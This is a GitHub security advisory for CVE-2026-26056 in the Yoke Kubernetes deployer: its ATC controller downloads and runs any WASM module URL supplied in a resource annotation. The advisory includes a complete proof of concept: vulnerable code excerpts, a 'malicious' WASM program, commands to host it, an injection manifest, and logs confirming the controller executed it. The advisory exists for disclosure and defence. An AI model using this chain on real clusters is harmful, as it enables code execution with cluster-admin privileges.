GitHub Advisoryadvisory · Go

GHSA-wj8p-jj64-h7ff Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC

HIGH Published 2026-02-12 Modified 2026-02-13 Official page ↗
Aliases
CVE-2026-26056
Ecosystem
Go
Packages
github.com/yokecd/yoke
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-02-12

Affected packages

• Go github.com/yokecd/yoke: <= 0.19.0 (no fix yet)

Description

Arbitrary WASM Code Execution via AnnotationOverrideFlight Injection in Yoke ATC This vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. It allows users with CR create/update permissions to execute arbitrary WASM code in the ATC controller context by injecting a malicious URL through the `overrides.yoke.cd/flight` annotation. The ATC controller downloads and executes the WASM module without proper URL validation, enabling attackers to create arbitrary Kubernetes resources or potentially escalate privileges to cluster-admin level. Recommended CWE: CWE-94 (Improper Control of Generation of Code - Code Injection) Summary Yoke ATC allows users to override the Flight WASM module URL via the `overrides.yoke.cd/flight` annotation on Custom Resources. The controller only checks if the user has `update` permission on `airways` resources but does not validate the WASM URL source. An attacker with CR create/update permissions can inject a malicious WASM URL, causing the ATC controller to download and execute arbitrary code. Details The vulnerability exists in two code paths: Source Point - Annotation Definition (`pkg/flight/flight.go:41-42`): ```go const ( AnnotationOverrideFlight = "overrides.yoke.cd/flight" AnnotationOverrideMode = "overrides.yoke.cd/mode" ) ``` Sink Point 1 - Admission Webhook (`cmd/atc/handler.go:298-300`): ```go if overrideURL, _, _ := unstructured.NestedString(cr.Object, "metadata", "annotations", flight.AnnotationOverrideFlight); overrideURL != "" { xhttp.AddRequestAttrs(r.Context(), slog.Group("overrides", "flight", overrideURL)) takeoffParams.Flight.Path = overrideURL // User-provided URL used directly } ``` Sink Point 2 - Reconciler (`internal/atc/reconciler_instance.go:264-269`): ```go if overrideURL, _, _ := unstructured.NestedString(resource.Object, "metadata", "annotations", flight.AnnotationOverrideFlight); overrideURL != "" { ctrl.Logger(ctx).Warn("using override module", "url", overrideURL) // Simply set the override URL as the flight path and let yoke load and execute the wasm module takeoffParams.Flight.Path = overrideURL // User-provided URL used directly without validation } ``` The permission check at `cmd/atc/handler.go:160-177` only verifies `update` permission on `airways` resources, not the ability to execute arbitrary WASM code: ```go accessReview, err := params.Client.Clientset.AuthorizationV1().SubjectAccessReviews().Create( r.Context(), &authorizationv1.SubjectAccessReview{ Spec: authorizationv1.SubjectAccessReviewSpec{ ResourceAttributes: &authorizationv1.ResourceAttributes{ Verb: "update", Group: "yoke.cd", Version: "v1alpha1", Resource: "airways", // Only checks airway update permission }, }, }, ) ``` PoC Environment Setup Prerequisites: • Docker installed and running • kubectl installed • Go 1.21+ installed • kind installed Step 1: Create Kind cluster ```bash cat > /tmp/kind-config.yaml << 'EOF' kind: Cluster apiVersion: kind.x-k8s.io/v1alpha4 name: yoke-vuln-test nodes: • role: control-plane EOF kind create cluster --config /tmp/kind-config.yaml ``` Step 2: Build and install Yoke CLI ```bash Clone yoke repository git clone https://github.com/yokecd/yoke.git cd yoke Build yoke CLI (patch version if needed for compatibility) GOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke Verify installation /tmp/yoke version ``` Expected output: ``` ╭───────────────────────────────┬──────────╮ │ yoke │ v0.18.0 │ │ toolchain │ go1.25.6 │ │ k8s.io/client-go │ v0.34.1 │ │ github.com/tetratelabs/wazero │ v1.6.0 │ ╰───────────────────────────────┴──────────╯ ``` Step 3: Deploy ATC ```bash /tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest ``` Expected output: ``` Cluster-access not granted: enable cluster-access to reuse existing TLS certificates. Generating TLS certificates, this may take a second... Finished generating TLS certificates. --- successful takeoff of atc ``` Step 4: Verify ATC deployment and permissions ```bash kubectl get pods -n atc kubectl get clusterrolebinding | grep atc ``` Expected output: ``` NAME READY STATUS RESTARTS AGE atc-atc-6d4bcb7665-wvqkt 1/1 Running 0 22s atc-atc-cluster-role-binding ClusterRole/cluster-admin 22s ``` Step 5: Deploy Backend Airway example ```bash /tmp/yoke takeoff -wait 60s backendairway "https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz" ``` Expected output: ``` successful takeoff of backendairway ``` Exploitation Steps Step 1: Create malicious WASM module Create `malicious-wasm.go`: ```go // Malicious WASM module for VUL-001 vulnerability verification package main import ( "encoding/json" "fmt" ) func main() { // Create a ConfigMap to prove arbitrary code execution resource := map[string]interface{}{ "apiVersion": "v1", "kind": "ConfigMap", "metadata": map[string]interface{}{ "name": "stolen-credentials", "namespace": "default", "labels": map[string]string{ "vulnerability": "VUL-001", "type": "exfiltrated-token", }, }, "data": map[string]string{ "vulnerability": "VUL-001: AnnotationOverrideFlight Injection allows arbitrary WASM execution", "proof": "This ConfigMap was created by malicious WASM code", }, } resources := []interface{}{resource} output, _ := json.Marshal(resources) fmt.Println(string(output)) } ``` Compile to WASM: ```bash GOOS=wasip1 GOARCH=wasm go build -o malicious.wasm ./malicious-wasm.go ``` Step 2: Host malicious WASM ```bash python3 -m http.server 8888 & ``` Step 3: Get host IP accessible from Kind cluster ```bash HOST_IP=$(ip addr show docker0 | grep 'inet ' | awk '{print $2}' | cut -d/ -f1) echo "Malicious WASM URL: http://${HOST_IP}:8888/malicious.wasm" ``` Step 4: Create malicious Backend CR ```bash MALICIOUS_URL="http://${HOST_IP}:8888/malicious.wasm" kubectl apply -f - <<EOF apiVersion: examples.com/v1 kind: Backend metadata: name: malicious-backend namespace: default annotations: overrides.yoke.cd/flight: "${MALICIOUS_URL}" spec: image: nginx:latest replicas: 1 EOF ``` Expected output: ``` backend.examples.com/malicious-backend created ``` Step 5: Verify exploitation Check ATC logs: ```bash kubectl logs -n atc deployment/atc-atc | grep -i "override\|malicious" ``` Actual log output from verification: ```json {"time":"2026-02-01T13:58:30.4998068Z","level":"INFO","msg":"request served","component":"server","code":200,"method":"POST","path":"/validations/backends.examples.com","elapsed":"375ms","overrides":{"flight":"http://172.17.0.1:8888/malicious.wasm"},"validation":{"allowed":true,"status":""}} {"time":"2026-02-01T13:56:33.826710613Z","level":"WARN","msg":"using override module","component":"controller","url":"http://172.17.0.1:8888/malicious.wasm"} ``` Check HTTP server logs (shows WASM download): ``` 172.18.0.2 - - [01/Feb/2026 21:55:58] "GET /malicious.wasm HTTP/1.1" 200 - 172.18.0.2 - - [01/Feb/2026 21:56:32] "GET /malicious.wasm HTTP/1.1" 200 - 172.18.0.2 - - [01/Feb/2026 21:56:33] "GET /malicious.wasm HTTP/1.1" 200 - ``` Check created ConfigMap: ```bash kubectl get configmap stolen-credentials -n default -o yaml ``` Actual output from verification: ```yaml apiVersion: v1 kind: ConfigMap metadata: name: stolen-credentials namespace: default labels: vulnerability: VUL-001 type: exfiltrated-token app.kubernetes.io/managed-by: atc.yoke instance.atc.yoke.cd/name: malicious-backend-v2 …

Related

Alias · CVE (1)

  • CVE-2026-26056 Yoke is a Helm-inspired infrastructure-as-code (IaC) package deployer. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References